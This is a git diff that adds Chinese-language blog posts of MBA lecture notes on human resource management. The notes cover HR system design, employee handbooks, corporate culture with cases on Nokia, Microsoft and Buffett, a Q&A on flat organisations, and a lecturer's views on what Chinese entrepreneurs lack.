+![](/uploads/2018/10/30-30.png) + +以上这些也构成了人力资源管理的全部工作内容。请大家课后把这个模型好好理解，最好能把它背下来。 + +对这个模型深刻理解后，我们从中又可以得出两个结论： + +一、 人力资源管理工作的各种相关性使其成为一个系统的集成。 +二、 人力资源管理绝不只是人力资源部门的工作，它涵盖了整个组织的命题。 + +我们要用系统的方法解决看待问题。这就是为什么我们企业出现了问题，不动则已，一动产生的问题更多。 + +人力资源管理制度设计之制度管理 + +接下来，我们来看一下人力资源管理体系建设的制度管理。 + +人力资源管理有五大制度建设： + +一、员工发展计划：培训与开发，工作设计等。 + +二、员工保障计划：职业安全，职业保障等。 + +三、员工管理计划：选聘，任用、绩效考核、人员流动等。 + +四、员工薪酬计划：包括个人工资、福利、保险等，统称薪酬。 + +五、配套性的员工管理制度：人员管理的规章、制度。 + +一个平台、五大制度建设是否形成，可以通过一个标志性的文件来判断，就是企业的员工手册。我们看一本标准的员工手册——麦当劳的员工手册。 + +手册的第一页写着：“总经理致辞：各位亲爱的伙伴，您好。欢迎你加入麦当劳并将其作为你的事业。”即便是一个扫地的员工，麦当劳也要告诉你，事业永远从这里开始。并且向他传递“麦当劳全体成员信奉敬业进取、追求卓越、永不言败的精神。” + +这本员工手册详细阐述了麦当劳公司的企业文化和组织结构，这是人力资源管理系统平台的两大主体内容。薪酬、工作绩效，两大主体制度单独成章，突显出了它们的重要作用。另外，包括各类规章制度、福利、保险、档案、劳动、纪律、员工的培训与开发、奖励，总计29页内容。它可以作为公司一系列管理文件的索引。 + +再看看特斯拉的员工手册。一个新兴产业，任何人力资源的管理政策要考虑到就业歧视与劳动法的问题。它的第一条就是平等的就业机会、内部公平机会。其中各类信息如工作时间、休假、薪酬、考核、福利、规范、员工申诉等都是单独成章，凸显它们的作用。无论是传统产业，还是新兴产业，这本手册是标志着体系建设是否形成的关键文件，可以理解为是企业一系列管理文件的索引。 + +这里做一点对我国民营企业制度建设的思考和引申，简单地总结一下中国民营企业的发展，大体上经历了四个发展阶段，分别是靠智慧、靠资源、靠战略、靠管理。 + +什么叫靠智慧而成长？在我们周围的企业老板，无论是否读过书，他们都是聪明人，因为聪明而发现了机会，从而造就了企业成长。 + +什么叫靠资源而成长？就是看我们具备什么样的资源。然后根据占据的资源我们能干什么就干什么，能挣什么钱就挣什么钱。就像很多老板在名片上写，干这个，干那个，你觉得他是走多元化的经营道路。各位，这哪里是多元化经营？那是他占有的区域资源所呈现出的多元化特征。 + +然而，人的资源是有限的，能力是有限的。接下来，企业想继续发展，就必然会进入到靠战略而成长的阶段。 + +进入到靠战略而成长的这个阶段，你就不能再完全依靠已有的资源。而是要去想象，想象你能做什么，你能赚什么钱，也就是制定未来的发展战略。只有完成战略规划以后，一个企业才可以真正进入到第四个阶段，也就是靠管理而成长的阶段。 + +反过来，中国绝大部分的民营企业根本没有进入到靠管理而成长的发展阶段。多数民营企业家仍然靠自己的智慧和所占有的资源，面临着战略选择的困惑（第三个阶段）。只有到了靠管理而成长的阶段，“麦当劳的清单”才会真正发挥作用。 + +究其原因，就是我们中国人不习惯于靠制度管人，我们习惯的是靠人来管人。今天中国企业的老板恨不得五个人的工作两个人干。而一旦五个人的工作被两个人干了，这两个人一定是不可替代的。 + +**人力资源管理有一个重要的原则：不培养不可替代的人。一旦员工成为不可替代的人，就会增加他的讨价还价资本。中国有一句老话：教会了徒弟饿死了师父。** + +这也是为什么今天在中国企业中，出不了这种要靠无数人、几十年一点点积累下来的麦当劳清单。原因在于我们靠人管人，企业代代相传是递减的；西方人靠制度管人，代代相传才是递增的。 + +人力资源管理制度设计之文化整合（上） + +但我也要强调一个观点，不可能通过制度解决所有的问题，因此从中引出三条管理的重要原则： + +一， 管理没有公平。完全的公平只是一种理想，一种追求。 + +二， 管理在解决很多问题上，它的边界是模糊的。它可以是非逻辑的和非程序化的。 + +三， 管理不是民主。记住，谁要把管理当民主的菜吃了，吞下的一定是苦果。 + +文化的作用 + +当制度不能解决问题的时候，怎么办？就要靠文化来整合。文化是可以操作的，文化是可以执行的。我曾经给一家国企做体系建设，过了几年，这家企业老板跟我说： +“许老师，这些年下来，我才知道制度运行的作用，其实这套制度主要减少了我与下属的沟通成本。” + +他说的很对。我们一直谈文化的作用，大家要知道，管理是有交易成本的。而文化是一种很有效的管理手段。如果文化处在积极状况下，交易成本会降低；如果文化处在消极状态下，交易成本就会增加。尤其是对于小企业而言，任何管理制度的导入都是需要支付成本，所以小企业在文化做的足够好的情况下，甚至是不需要那么多繁杂的规章制度。 + +那么，文化的作用到底是什么？这里我想分享两个案例。 + +案例1.死于组织畏惧的诺基亚。 + +诺基亚曾经多么辉煌，它几乎代表了手机每一个阶段的领袖。但是，它为什么轰然倒下了？ + +大家注意，诺基亚其实没有倒闭，目前诺基亚的通讯版块仅次于华为，位列全球第二位，500多亿美金市值。诺基亚手机版块也没有完全倒闭，现在仅仅手机版块年专利费就在6亿美金左右，但是也远不如之前的鼎盛了。 + +有一个学者调查了诺基亚的75位高管，研究诺基亚衰落的原因。最后他指出，诺基亚死于组织畏惧。我从没看过一个学者这么深刻地分析一个企业是怎么样死于文化的。 + +正常情况下，当企业遇到问题的时候，作为管理人员应该控制情绪、承担责任。但在诺基亚身上，当诺基亚的手机软件不受市场认可，市场开始发生变化的时候，诺基亚的高管被吓傻了。他们不承认失败，于是这些高管设定高难度高业绩的目标以期望能达到原本的预期。中层管理者面对人事部门遴选和高管的斥责与威胁，深感恐惧，于是又过度对业绩做出了承诺，报喜不报忧。这一情况使诺基亚决策层更为短视，无法进行系统的、深入的创新，进一步加剧了其在软件系统上的失败。最终，这一系列组织文化上的错误导致了诺基亚的今天。诺基亚死于文化，死于组织畏惧。 + +如果我们跳出诺基亚案例，想想我们的企业在遇到问题的时候。我们的老板一般会干什么？对，也是发脾气，下指标，试图通过业绩来带动企业成长。高任务、高绩效真的能解决问题吗？其实不能。所以一个企业引入绩效考核或绩效管理应该是在企业做的好的时候引入，而非企业做得不好的时候引入。 + +我们再看另一案例，在过去的18个月，微软发生了什么变化？ + +案例2. 微软发展之组织能力 + +微软经历了三任CEO，分别是比尔盖茨、史蒂夫·鲍尔默、萨提亚·纳德拉。微软真正的成长得益于鲍尔默，他极赋天才，是一个有热情的老板，被称之为微软之魂。而纳德拉对微软的改革，尤其是对微软组织能力的提升起到了极大的作用。 + +虽然鲍尔默很伟大，但是他也会老。2015年年底，鲍尔默与纳德拉在董事会上发生了激烈的冲突。鲍尔默说：“我不知道你到底要干什么？”因为鲍尔默的观念中，微软的伟大靠的是产品，微软就应该做好产品。而纳德拉（新CEO）要做平台，一次链接所有解决方案。纳德拉指出：我们这个行业并不尊重传统，只尊重创新，不断创新是我们唯一的生存方式。 + +同学们，这是多么有力量的话！下一句话更有力量。他说：我们抱负远大，因此我们去改变和发展文化的决心同样强大。事实证明纳德拉是对的，微软确实像获得了新生一样。 + +他在微软提出了“成长型思维”，当微软遭遇和诺基亚同样情况的时候，他大胆取消了业绩考核，不考核利润和市场，转而考核客户关系。他用文化推动企业成长，用制度来执行，用组织来支持战略。强调组织能力，而非个人能力。 + +他搞了两次变革，从组织到战略，更加聚焦于战略结构。最后，提出了新软件工程，新硬件工程，新微软设计。帮助人们提高了生产力，实现更高的成就。 + +所以，18个月间微软发生了翻天覆地的变化。我从没看过一家企业，在如此短的时间内，用文化来推动企业的成长。因此我们要更多地关注文化对组织的作用，强调组织能力。 + +文化的载体 + +如果今天企业有问题请我过去，我相信据自己30年对中国企业管理实践的思考，我一定能够找到解决问题的办法。但是，请大家原谅，如果让我去讲怎么帮助企业建立企业文化，我觉得自己的功力不够，我讲不清楚。因为我从来不相信一个外来人能够帮助你去建立企业文化。 + +同时，也请大家记住，没有一个企业是没有企业文化的。 + +什么叫企业文化？所谓的企业文化就是企业在长期的发展中，逐步养成了一种习惯；这种习惯中融入了老板的行为方式；而老板的行为方式和企业的习惯，又随着整个社会文化的变革，逐步形成了一种组织的性格。 + +因此，我把企业的文化定义为组织的性格。大家知道，改变一个人的性格都很困难，更何况是要改变一个企业的性格。 + +下面我就文化这个主题给大家做一些解析。文化通过两个载体传承。一个是教育，一个是宗教。 + +1.教育 +谈管理不谈文化等于没谈，谈管理不谈教育等于不懂。文化是通过教育来传承的，管理的原则就是基于教育的原则。因此我们先来谈谈教育。 + +请大家回想一下，我们从小是否接受过能够帮助我们建立自信的教育？没有。从小我们接受的教育都是告诉我们要谦虚、谨慎、戒骄戒躁。我们只有找到了教育的问题，我们才能真正理解管理的问题所在。 + +下面，我对中西方教育的差异进行对比分析。在这里做一个说明。我在这里所讲的有关文化和教育的讨论，不可以作为任何人否定五千年中华文明的依据，这是前提。我只是给大家讲讲现象，以供思考。 + +先谈西方教育。一个美国小孩放学回家，他的父亲问儿子，考试考了多少分。98分。美国父亲会说：真棒！爸爸为你骄傲。拼命赞扬孩子。为什么？因为西方人从小接受的最基本的教育信号是首先要学会如何赞扬别人。 + +在一个外国电影里面，一个年轻人是保洁员，正在扫地，父亲来看儿子，上来就拥抱儿子说：“儿子，爸爸为你骄傲。”儿子会说：“老爹，我爱你。”一项研究表明，每天平均有84%的美国人，至少对家人说一句我爱你。为什么儿子爱老爹？要感谢老爹的养育之恩。为什么父亲为儿子感到骄傲？不管我的儿子是做什么的，他长大成人了，独立了，我都为他感到骄傲。 + +请问各位同学，如果你们的孩子长大了以后是一个扫地的，你们会为这个孩子感到骄傲吗？不会。 + +反之，如果你的儿子是姚明、刘翔、丁俊晖，你一定会很骄傲。但是，请注意，你这不是为了儿子感到骄傲，你是为你自己感到骄傲。你是为了满足自己的虚荣心，我们的骨头里都是自私的。 + +中国企业老板是怎么激励员工的？“想要吗？想要就好好干，干完了自然有你的。” +而老外是怎么激励员工的？“看到了吗？这些都是你的，干完拿走。” + +这绝对不是两句简单的陈述，其背后是用人的价值观。我们的价值观体系是要求员工付出，我们再投入，里面是自私的。而老外的价值体系是我拿出来，干完你拿走，它的背后是公平的。表面上看，我们的成本低，其实我们的成本是高的。这些都是深层的文化问题。 + +记得有一次，我在一个酒店电梯里面看见一对美国夫妻，抱了一个小孩，一看就是领养的。先生抱着孩子，视如己出。打完招呼我进了餐厅里面，把我惊住了。满餐厅都是一对对美国夫妻抱着中国小孩，一看就是国外慈善组织的领养团。 + +各位同学，如果一个中国家庭领养孩子，对这个家庭最大的秘密是什么？就是不能让孩子知道身世。但是你想过吗?一对美国夫妻，领养一个中国孩子，鬼都知道那不是他的，难道他们不怕泄密吗？他们教孩子中文，带孩子回到中国，告诉他这曾经是你的国家，这是生你的地方。于是我们明白了，美国人养孩子，关注的是过程；而中国人养孩子，关注的是结果。 + +这是一个非常重要的管理命题。 + +为什么重要？大家告诉我什么是绩效考核？关注于结果。什么是绩效管理？关注于过程、指导和改善。 + +为什么西方人有绩效管理的思想？我对文化的解读其实是在深入地解读管理。无论西方人培养孩子还是领养孩子，他们都是既关注于过程又关注于结果。而我们中国人很多时候过于关注结果，而忽视了过程、指导和改善。 + +那么为什么我们很多人只有考核的思想而没有管理的思想？让我们来看一下同样条件下我们的教育是什么样的。 + +大家想一下，各位同学有的已经是父母了，各位你们还记得你们孩子考了100分，你们会跟孩子说什么？（同学答：不要骄傲，继续努力）对，你们会说不要骄傲，继续努力。你们不觉得这句话可恶吗？得了100分了还让人家继续努力？得多少合适？170分吗？你应该让他骄傲！得了100都不让他骄傲，你让他什么时候骄傲？ + +中国的教育是不支持我们骄傲的。 +孩子都考了100了，你们可能还会问一个问题，（同学喊道：有几个考100的）对，你们还会问孩子“班里有几个考100的？”。问这句话比说让他继续努力更可恶。你们其实就是想听孩子说“就俩考100的”，这么一说你们就高兴。如果孩子说有47个考100的，你们肯定脸色特别难看。  + +其实我们都是中国教育的牺牲品。我们从小被教育要考100分，要考清华、北大，人大都不在考虑范围之内。我们从小被定下了太高的标准，标准太高导致我们每次的结果都承受着一次又一次的失败和挫折。如果生活在失败和挫折中，我们的自信从何而来？ + +这也映射出为什么只要中国企业推行考核，就一定有问题。当企业关注于结果，失去对过程的控制，各级管理者在执行考核中都把自己当成警察，其实警察和司机的关系，就是家长和孩子，各级管理者和员工之间的关系。 + +2.宗教 +谈完了教育，再讲讲宗教。文化的另一个载体就是宗教。 + +为什么讲文化要谈宗教？因为公平和平等是西方治理国家，管理企业重要的思想基础，而这是一个宗教的认识。其实整个人类发展史就是一部宗教史，整个人类社会一直想形成这种以宗教来完成对国家的治理和企业的管理。 + +实际上，文化建设的终级形态就是宣告企业文化的形成。注意，这里说的是积极的企业文化。这时候企业就是一个组织，它要演变成一个宗教的殿堂，老板就是教主，员工就是信徒，这是人力资源管理的终极思考。我们谈文化建设的目的是什么？就是让员工有一种归属感，归属到企业的这个组织形态。去培养他的信仰，同时审视老板的道德。这种状态下，员工解决的是信仰问题，老板解决的是道德问题。 + +以往，我们的老板谈文化谈管理，总会犯一个错误，就是我们总想通过文化规范员工的行为，而对自己没有任何的要求。但事实上，当你对员工提出要求时，员工反过来也会对老板提出更高的要求。我们的老板就应该是道德和理性的化身。 + +文化整合的制高点是企业家、管理者自身的道德和修养。 + +**记住，人是带出来的，第一，靠做事把人带出来；第二，靠做人把人带起来。老板的道德修养决定了你怎样把员工带出来。** + +请问同学们，你们做好这个准备了吗？ + +问答环节 + +问题1：扁平化组织是否更适用于互联网企业，并不很适用于流程长、决策层多的传统生产制造企业？ + +许玉林：其实很多问题都是伪命题。我想问一下在座的各位有多少是互联网企业的？（现场举手同学寥寥无几）对，真的来自互联网公司的同学并不多。就像我们在上一讲中提到的，所谓的很多互联网企业才具有的管理思维都是伪命题。 + +我给大家举个很好的企业的例子。这家企业一年有70多亿元的收入，有10几亿的利润，利润非常高。全球40家工厂，一万多名员工，连续10年复合增长率是30%，它的10年业绩预测和实际误差不到3%。上面这些数据都说明这个企业是一个非常好的企业。那这家企业是做什么的呢？它就是做汽车的镀络条，每件300元，全球每三辆就有一辆用它的产品。这个企业拥有稳定的产品，不可或缺的市场地位，战略非常清晰，专注于产品。它的逻辑非常准确，就是把产品做到极致。实际上，日本企业创新就是走这条路。把产品做到极致，反过来用资本反刍产业，来带动这个行业的发展。 + +大家看这个企业的管理思维里是不是很多东西都是所谓的“互联网企业才具有的管理思维”？所以我说很多东西都是伪命题，比如你问到的扁平化组织，也不是互联网企业才会有的。 + +扁平化组织有两个基本假设是很多人没有注意到的。 + +第一.扁平化设计是资源整合、流程再造的结果。 + +为什么做了资源整合、流程再造就可以扁平了？假设两个部门工作是关联的，如果我没有建立流程，就需要人来解决。如果人解决不了，产生问题了，必须由组织更高层来处理。因此，它一定是基于权力系统的程序化管理。如果建立流程了，大家按规则做了，流程通畅以后，干预自然就会减少，就是扁平了。 + +第二.扁平化是一种人员假设。 + +企业员工的能力强，自我管理能力也很强，那他们一定是支持扁平化的。反之，如果企业员工能力弱的话，你想扁平也扁平不了。 + +大家记住，所有的管理陈述都是有假设的，失去了假设就真的变成了理论。所以扁平化组织本身是有实施的条件的，而我们的误区在于总是忘记条件，一知半解地做事。 + +问题2：组织文化建设是否要等到企业发展到一定阶段再进行制定？初创阶段的企业谈组织文化，是否是一种不实际的画大饼行为，还是靠薪资来招人和留人比较靠谱？ + +许玉林：没有一个企业是没有企业文化的，它和组织大小没有关系，所以我说文化是组织的性格。 + +另外你提到的留人的问题，只靠加薪是无法解决问题的。给大家分享一个研究。麦肯锡曾对全球8000多个高级经理人，涵盖90%以上500强企业高管的一项研究，最后形成了题目为“人才战争”的报告。其中关于如何吸引优秀人才并留住他们的研究中说到“金钱的确很重要”，但是还有三个不可忽视的激励因素。 + +第一，必须告诉员工实现公司愿景、目标的可能性。一份愿景就是对员工的激励，这就是文化。如果今天你的小公司没有愿景，你的企业就根本没有发展，就根本不需要讨论管理问题。任何制度的导入都是需要成本的，因此小企业是不需要那么多繁杂的规章制度的，小企业要靠管理者做人把人带起来。 + +第二，告诉员工个人发展的客观性。因为企业发展，员工未必发展。 + +第三，告诉员工当期收益取得的现实性。 + +以上三者缺一不可，这是系统思考。 + +问题3：扁平化这种新型的组织形式出现了权责不明，老板成为各个部门负责人的被动情况，是否应该向旧组织做出转变？ + +许玉林：大家还记得我在讲课中提到的观点吗？我说“旧组织不旧，新组织不新”，两种组织形式不是谁好谁坏，而是不同组织形式解决不同的问题。当你遇到这个困惑时，那不是旧组织的问题。我们总认为要摒弃旧组织，采取新组织形式，这是不对的，它们是解决两类不同的问题的。 + +你所遇到的问题不是新旧组织形态的问题，而是专业化分工和流程的问题。因此，你的企业的发展必须走向分工之路。当分工到一定程度，再去做流程梳理，提高效率。直接回答你就是一句话“先解决分工问题，再解决流程问题”。这也是我们小企业所要解决的组织发展之道。一定记住，“旧组织不旧，新组织不新”是解决两类不同的组织问题，一个是专业化分工，一个是流程问题。 +注释1 + +德鲁克： +全名彼得·德鲁克（Peter F. Drucker），被尊为大师中的大师，现代管理学之父。他提出了知识经济的概念，曾获得布什总统颁发的总统自由勋章。学者是很少获得这种殊荣的，这个勋章被誉为美国公民的最高荣誉，相当于国家英雄。德鲁克生于一个文化家庭，他的父亲是奥国负责文化事务的官员，曾创办萨尔斯堡音乐节。 + +德鲁克是个新闻记者经济学家，获得法学博士。曾讲授过政治学、经济学、管理学，他认为自己只是一个作家和老师。我们来看看这个作家写了哪些著作。 + + 1946年德鲁克将他的心得写成了《公司概念》一书，首次提出“组织”的命题。 + + 1954年出版《管理实践》，提出了“目标管理”的伟大概念，从此管理学被公认为一门学科，立于科学之林。在此之前，没有人承认管理是一门科学，从此德鲁克奠定了管理大师的地位。 + + 1966年，出版《卓有成效的管理者》一书，这本书告诉我们不是那些只有管人的才是管理者，知识工作者就是管理者。 + + 1973年出版巨著《管理：任务，责任，实践》，被誉为管理学的圣经。 + + 1982年出版《巨变时代的管理》，阐述了新时期管理者的变化。 + + 1985年出版著名的《创新与企业家精神》，阐述了创新的经济。 + + 1999年出版《21世纪的管理挑战》，他将21世纪定义为新经济，并阐明新经济时代的挑战是提高知识工作者的生产力。 + +德鲁克从1966年开始产生新经济的管理思想，到1999年完成定义，历时33年。德鲁克的全部著作总计39本，可谓著作等身。 diff --git a/_posts/2018-11-01-308-xyl04.md b/_posts/2018-11-01-308-xyl04.md new file mode 100644 index 0000000..f721fb4 --- /dev/null +++ b/_posts/2018-11-01-308-xyl04.md @@ -0,0 +1,546 @@ +--- +layout: post +title: 【人力资源管理模块】 第4节 文化整合（下）与管理圣经 +pid: 308 +tags: [mba] +--- + +人力资源全景视角——文化整合（下）与管理圣经 + +关于文化整合（下），我们将从组织文化的要素、表达方式、创建动力及文化整合的制高点四个方面进行讲解。 + +第一，组织文化的要素 + +文化是不断形成和内化的过程，它包括愿景、使命、宗旨、价值体系、文字体现。 + +![](/uploads/2018/11/01-01.png) + +第二，文化的表达方式 + +文化的表达方式有很多种，归纳一下，主要集中在物理性、价值观和意识三个方面。 +1. 物理性表达：主要是一个公司或组织可以观察到的组织结构和组织过程。 +2. 价值观表达：主要包括一个公司或组织的战略、目标、意识和哲学等内容。 +3. 意识的表达：主要是组织所体现出的潜意识、信仰、认知、思想和感觉等。 + +第三，组织文化的创建动力 + +组织文化的创建动力又是什么呢？归结起来，组织文化首先是第一代创业者、管理者形成的认识，并且在发展过程中逐渐固化成为组织的行为。大致的过程可以归纳为以下四步： +1. 创始人的思维倾向性和假设； +2. 第一批组织成员从自己经验中的领悟和思考； +3. 高层管理人员的示范和管理团队的形成； +4. 全体组织员工的一致性行为。 + +第四，组织文化整合的制高点 + +从组织文化的创建动力看，创始人本身就是组织文化形成的根源。在第一讲中我就讲过企业的成长就是企业家、管理者的成长，我们要高度关注企业家、管理者自身的人力资源管理。因此，文化整合的制高点是企业家、管理者自身的道德和修养。 +企业家要想提升自身的道德和修养，首先要勇于自我批判，形成良好的自我认知，只有这样才能准确地评价他人，把员工带好。 + +案例：走进巴菲特 + +2016年有两位中国的资深记者访问了巴菲特的家乡，随后写了一篇报道《走进巴菲特》。让我们一起了解一下这位老人。 + +巴菲特的家乡叫奥马哈市，他说“这是个让人心智正常的地方”。巴菲特的车内饰很陈旧，老人家上班自己开车，自己买早点，这不是作秀，这是他的习惯。从1962年开始，巴菲特就从没离开过Kiewit Plaza大厦（巴菲特的伯克希尔－哈撒韦公司总部位于该大厦14层）。巴菲特说：这是我的福地。 + +走进办公楼，这里非常陈旧，也有些零乱。他的办公室很小，只有18平方米，里面没有电脑。他通过阅读大量文字资料，包括公司年报和竞争对手年报等获取决策信息。他坚信投资不需要三高：一不需要高等数学；二不需要高学历；三不需要高智商。 + +他会向来宾介绍办公室内的一些纪念品，他说：偶像的力量是无穷的。当然他最崇拜的偶像还是自己的父亲，他记得父亲曾告诫自己：不要做让家族蒙羞的事情。 + +他的各类纪念品中最珍贵、最引以为傲的是2011年获得的总统自由勋章，代表着美国公民的最高荣誉，相当于国家英雄。还有参加卡耐基演讲培训的毕业证，他说：这个培训并不能防止我面对公众发表演讲吓得膝盖发抖，而是膝盖发抖了，还能够继续我的演讲。 + +他还说：你要做投资冠军，就要投资冠军企业。成功的秘诀非常简单，要想成为大赢家，就要与大赢家在一起。老人家觉得自己比年轻人显得更快乐，他说：做你最喜欢，做最热爱，做不给钱也愿意非常努力做的事情，是最开心、最幸福、也是最成功的！这是一个走过财富巅峰的老人，一生的一种追求。 + +记得有一次，巴菲特、芒格、比尔盖茨三位老人参加了中国某电视台的访谈节目。 +主持人问巴菲特：“您是投资大师，您犯过错吗？” +巴菲特说：“我犯过太多的错误，有些甚至是不可饶恕的。” +主持人说：“那您是怎么改正的呢？” +巴菲特说：“自己很难改正错误。是芒格一直指导我，他是我的导师。” +主持人问芒格：“您怎么看巴菲特先生？” +芒格说：“我追随他一生。” +主持人问比尔盖茨：“您怎么看这两位老人？” +比尔盖茨说：“这两位老人是我生活的榜样。” + +大家可从他们的对话中读出什么道理？不要再用个人主义来描述西方文化，我们的文化才是极致的个人主义。巴菲特选择公司独立董事的标准是：你不可以为挣这点钱而从事这项工作，只有这样你才能够保持对我的批判性。这是一种自我批判的精神。中国企业家，管理者，最缺的就是自我批判的精神。 + +中国企业家和管理者的八大缺失 +既然我们需要自我批判，认识自己的不足，下面分享一个话题——中国企业家、管理者缺什么？经过多年的研究和思考，我将中国企业家和管理者的缺失归纳为以下几个方面： + +第一，缺乏想象力。 + +中国拥有五千年博大精深的历史文化，几百年前古代先人就创作了《西游记》、《聊斋》、《封神榜》等世界级文学巨著，是充满了想象力的。但这种想象力并没有得到很好的传承。 + +而创新就来源于想象力，我们缺乏创新正是因为缺少了足够的想象力。我所谓的想象力，范畴比你们想象的要广，包括愿景、梦想、战略性思维等。我认为它包含三个最基本的要素： + +1．知识。知识是想象力的基础，知识的范畴决定一个人的视野。 +2．思考。思考是一种习惯，要基于知识，养成不断思考的习惯。 +3．目标。目标不是盲目的，需要基于知识的思考后，再去设定目标。  + +第二，缺乏承担社会责任的意识。 + +课下和同学交流的过程中，有的同学说我们中国的企业家中有一些缺乏社会责任感，说的直白些，就是缺德。这个说法听起来并不舒服，换一个表达方式可能会好一些，中国企业家缺乏的不是承担社会责任的能力，而是承担社会责任的意识。我们要知道，意识的不足比能力的缺失更可怕。 + +比尔盖茨、巴菲特曾呼吁美国亿万富豪（10亿美金富豪）把自己身价的50%作为社会捐助，这在美国富人阶层得到积极的响应。第一批有40位，第二批有18位，当年总计80位富豪参加了这项活动。但令美国人没有想到的是，当他们把中国作为全球劝捐第一站的时候，却遭遇了中国富人阶层的强烈抵抗。他们向中国前五十位富豪发出邀请，却有1/3的企业家连回复都没有，失去了最基本的社交礼仪。令他们不解的是，中国的富人们那么有钱到底要干什么？ + +某年的福布斯全球10亿美金富豪排行榜，第一名，美国403名；第二名，中国64名。印度，58名。这也是当年比尔盖茨把中国作为全球劝捐第一站的原因。 + +英国慈善救助基金会首次公布了全球捐助指数，澳大利亚和新西兰排名第一，美国第5位，香港第18位，台湾第72位，中国大陆只列在第147位。作为全球富人第二大聚集地，中国的捐助排名却令全中国人汗颜。 + +有一次，我在一所学校里也讲了这个话题，课后一个小伙子过来找我。 +他说：许老师，听您课的时候，我手机钱包里有五块钱，我捐给了红十字基金会了。 +我说：这不是很好嘛。 +他说：但是刚才我又取消了。 +我说：为什么？ +他说：您猜什么原因？ +我说：不就是红十字会那点事儿嘛。 +他说：许老师，您说对了。 +我说：小伙子，难道一个垃圾的行为就可以影响你吗？不要管别人怎么做，我们做自己该做的事情。 + +什么是“做自己该做的事情”？比如说，你今天到卫生间，看前面的人没冲厕所，你特别愤怒地说：真可恶，混蛋。但你走时，心想你不冲我也不冲。结果是，你骂了人，你还会挨骂。其实，我们骂人是因为我们的利益受到了损失。不要问别人怎么做，看别人做什么，我们要做自己该做的事情。因为别人不会因为你做得多赞扬你，只有你独处时，才反映出你的修养，古人称之为慎独。 + +第三，缺乏商业社会中真正的商业知识的把握和认识。 + +我们要经常思考，企业靠什么成长？靠资源还是靠市场？ +过去，我们因为掌握资源而获取暴利和超额利润回报，然而一旦社会进入到平均利率时期，我们的心态就会发生变化。我们要思考一旦资源优势丧失以后，企业该如何发展？ +企业成长的核心动力来源于我们对真正的商业知识的把握和认识。 + +第四，缺乏跨文化条件下的沟通。 +我们身上最核心的缺失是在跨文化条件下的沟通能力。请注意，这里我讲的不是英文沟通的能力，而是跨文化沟通的意识。 + +过去中国企业的成长依赖于企业家所占有的资源，然而资源是有限的，依靠区域扩张获取资源优势终究会遇到瓶颈。我们要改变固有观念，改变狭隘的地域思维，培养跨文化沟通的意识。 + +第五，缺乏跨文化管理环境下的领导力。 + +中国企业家缺乏跨文化管理环境下的领导力，这条缺失恰恰是第四条缺失所演绎的缺失。 + +什么是领导力？领导力的标准公式：领导力=素质×绩效。领导力是个人素质和组织绩效的函数。素质和绩效任何单一要素都不足以构成领导力。 + +把企业做到全球第一就是有领导力了吗？不是的。2016年洛桑国际商学院对全球46个国家展开领导力的课题研究，结果显示中国企业家的领导力位列全球第43位。中国企业虽然有影响力，但企业家的领导力绝不仅仅是企业绩效能够决定的，中国企业家还要提高个人的素质。 + +第六，缺乏对商业社会非商业知识的认识和把握。 +我们除了缺乏对商业社会中真正的商业知识的把握和认识，还缺乏对商业社会中非商业知识的认识和把握。如果我们之间仅仅是以商业关系作为维系，这样的关系绝不会长久。因为，如果你我会因利而聚，也一定会因利尽而散。 + +中国商学院的管理学教育培养大家的是如何利用商业知识做好企业，但它们绝对培养不出百年老店的企业家。 + +我们看看欧洲百年老店的企业家所表现出来的特征： + +第一，他们是生活品质的象征。他们对生活品质有着极致地追求，对工作和生活有着独到的认识。 + +第二，他们是文化的传承者。商人作为商业社会的主体，应该担负着文化和历史传承的使命。 + +第三，他们是价值观的载体。他们不断学习，修养和完善自己。 + +最后，他们是具有契约精神的企业家。 + +再比照我们，我们好像更多是集聚了对财富的追求，好像有了财富，一切就都有了。 + +第七，缺乏自信。 + +我曾看过一篇文章，一个观点我非常赞同：大国的公民需要一些盲目的自信，因为盲目的自信总比盲目的自卑要好。 + +我很早就给伊利做管理咨询，1999年的时候，伊利就已经是一家非常优秀的企业。当时我提出了一个观点：中国企业家要向自己学习。去年，我给阿胶写了一本书《阿胶，是这样炼成的》，里面阐述了我对中国企业的看法，大家可以读一读。我觉得中国企业之所以有今天的成就，一定有它背后的道理，我们要建立起中国企业家的这份自信来。 + +什么是自信？前年，我去了一趟贝加尔湖（位于俄罗斯东西伯利亚南部），途经满洲里（位于内蒙古自治区）的时候，我发现这个城市的建筑风格都是东正教的尖顶，道路是俄罗斯式的单行线，满城市都是俄文。一过边境，进入俄罗斯的伊尔库斯克，他们是什么样就是什么样，他们认为自己的才是最好的，他们有着十足的民族自信。 + +虽然当地居民的收入很低，每月2000多块钱，但十分富足。这种富足不是来自于金钱，而是内心的民族自信。 + +第八，缺乏自我批判的精神。 + +最后，我们缺乏自我批判的精神，只有有了自我批判的精神，才能审视自己，获得成长，这同样也需要我们跨越文化的障碍。 + +其实，我还可以说得更多，比如我们缺乏坚持，耐不住寂寞，急功近利等等。不以完备，与各位共勉。 + +以上，就是人力资源制度设计五要素——文化整合版块的全部内容【该部分为文化整合（下），文化整合（上）请见人力资源模块第三讲】。我们发现人的问题、管理问题，不是企业内部单一要素所决定的，它需要战略、组织、人力资源、制度管理和文化整合的一个系统思考。 + +管理靠制度，但不可能通过制度解决所有问题，当制度不能解决问题的时候就要靠文化整合，而文化整合的制高点是企业家、管理者自身的道德和修养。我们要以自身的道德和修养把员工带出来，而不是管出来。 + +人力资源管理的八条圣经 +任何管理陈述都是有假设的，人力资源制度设计的背后也是有假设的。我总结出“八条圣经”作为人力资源制度构建的假设前提，供大家探讨。 + +第一条：人性是恶的。 + +这句话出自荀子。这里所说的人性是恶的，不是说所有人都是恶，而是假定所有人都是恶的，是在基于人性做最坏的打算。 + +比如我会假设今天所有听课的学生都是恶的。我有一个习惯，上课会把手表摘下来放在桌子上，以控制节奏和时间。如果下课休息，我离开了这个位置，你们同意我把这个表戴上，而不是仍放在桌子上吗？ + +如果你们同意就代表赞成我的假设，你们是坏人，是贼。你会质疑我说，许老师你怎么能这么想！其实你们都是这么想的，举个例子你们就明白了。 + +有一次，我在一大阶梯教室讲课，有一个大姐坐在一旁听课，她是我喜欢的那种授课对象。因为她会根据你的讲课内容点头或者摇头，跟我互动。那次也是讲到这里，我讲到人性是恶的，她摇得非常厉害。当我问他们那个班刚才那个同样的问题——下课后我这个表要不要戴的时候。她说：许老师，您可以不戴。 + +那天，下课之后我没戴表就出去了，故意晚点回来，休息了20分钟。 + +上课之后，我问大姐：“刚才下课的时候，你怎么没休息一会？”刚才下课的时候我在一旁观察她，她一动都没动，一直在盯着讲台上的手表，她一会儿看看表，一会儿找找我，一分钟都没有休息。 + 